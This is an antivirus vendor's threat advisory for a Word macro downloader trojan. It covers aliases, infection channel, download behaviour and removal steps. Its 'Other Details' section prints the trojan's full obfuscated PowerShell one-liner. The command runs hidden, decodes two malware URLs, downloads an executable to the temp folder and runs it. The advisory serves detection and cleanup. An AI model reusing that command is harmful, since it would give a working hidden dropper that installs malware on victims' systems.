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W2KM_POWLOAD.UHAOECB

February 28, 2018
 ALIASES:

TrojanDownloader:O97M/Donoff (MICROSOFT); W97M.Downloader (NORTON); Trojan.GenericKD.6017267 (BITDEFENDER)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW

Infection Channel:

Dropped by other malware

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system. As of this writing, the said sites are inaccessible.

  TECHNICAL DETAILS

File Size:

76,000 bytes

File Type:

DOC

Memory Resident:

No

Initial Samples Received Date:

22 Feb 2018

Payload:

Connects to URLs/IPs, Executes files

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Download Routine

This Trojan connects to the following website(s) to download and execute a malicious file:

  • http://{BLOCKED}koqa.{BLOCKED}/admin.php?f=2
  • http://{BLOCKED}foloaz.{BLOCKED}/admin.php?f=2

It saves the files it downloads using the following names:

  • %AppDataLocal%\Temp{random number between 1 and 65536}.exe

(Note: %AppDataLocal% is the Application Data folder found in Local Settings, where it is usually C:\Documents and Settings\{user name}\Local Settings\Application Data on Windows 2000, Windows Server 2003, and Windows XP (32- and 64-bit); C:\Users\{user name}\AppData\Local on Windows Vista (32- and 64-bit), Windows 7 (32- and 64-bit), Windows 8 (32- and 64-bit), Windows 8.1 (32- and 64-bit), Windows Server 2008, and Windows Server 2012.)

It then executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.

As of this writing, the said sites are inaccessible.

Other Details

This Trojan does the following:

  • It uses Powershell commands to download and execute a malicious file:
    • powershell -WindowStyle Hidden $PSHfThU = new-object System.Net.WebClient;$VVEXvqesbsBc = new-object random;$str = 'hBhutBhutBhupBhu:Bhu/Bhu/BhuwBhueBhunBhumBhuaBhuaBhukBhuoBhuqBhuaBhu.BhutBhuoBhupBhu/BhuaBhudBhumBhuiBhunBhu.BhupBhuhBhupBhu?BhufBhu=Bhu2,hBhutBhutBhupBhu:Bhu/Bhu/BhuhBhuoBhuoBhupBhueBhurBhufBhuoBhulBhuoBhuaBhuzBhu.BhutBhuoBhupBhu/BhuaBhudBhumBhuiBhunBhu.BhupBhuhBhupBhu?BhufBhu=Bhu2' -replace 'Bhu', ''; $TqnLyfVtuYxD = $str.Split(',');$name = $VVEXvqesbsBc.next(1, 65536);$JwFrFcqYxEXm = $env:temp + '' + $name + '.exe';foreach($yxlOXWDwCFTfF in $TqnLyfVtuYxD){try{$PSHfThU.DownloadFile($yxlOXWDwCFTfF.ToString(), $JwFrFcqYxEXm);Start-Process $JwFrFcqYxEXm;break;}catch{write-host $_.Exception.Message;}};

NOTES:

The document contains the following message details luring users to enable macro content:

  SOLUTION

Minimum Scan Engine:

9.850

FIRST VSAPI PATTERN FILE:

13.982.05

FIRST VSAPI PATTERN DATE:

22 Feb 2018

VSAPI OPR PATTERN File:

13.983.00

VSAPI OPR PATTERN Date:

23 Feb 2018

Step 1

Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Identify and terminate files detected as W2KM_POWLOAD.UHAOECB

[ Learn More ]
  1. Windows Task Manager may not display all running processes. In this case, please use a third-party process viewer, preferably Process Explorer, to terminate the malware/grayware/spyware file. You may download the said tool here.
  2. If the detected file is displayed in either Windows Task Manager or Process Explorer but you cannot delete it, restart your computer in safe mode. To do this, refer to this link for the complete steps.
  3. If the detected file is not displayed in either Windows Task Manager or Process Explorer, continue doing the next steps.

Step 4

Search and delete these files

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.  
  • %AppDataLocal%\Temp{random number between 1 and 65536}.exe

Step 5

Scan your computer with your Trend Micro product to delete files detected as W2KM_POWLOAD.UHAOECB. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:

Step 6

Enable the macro virus protection in Microsoft Office Applications

[ Learn More ]


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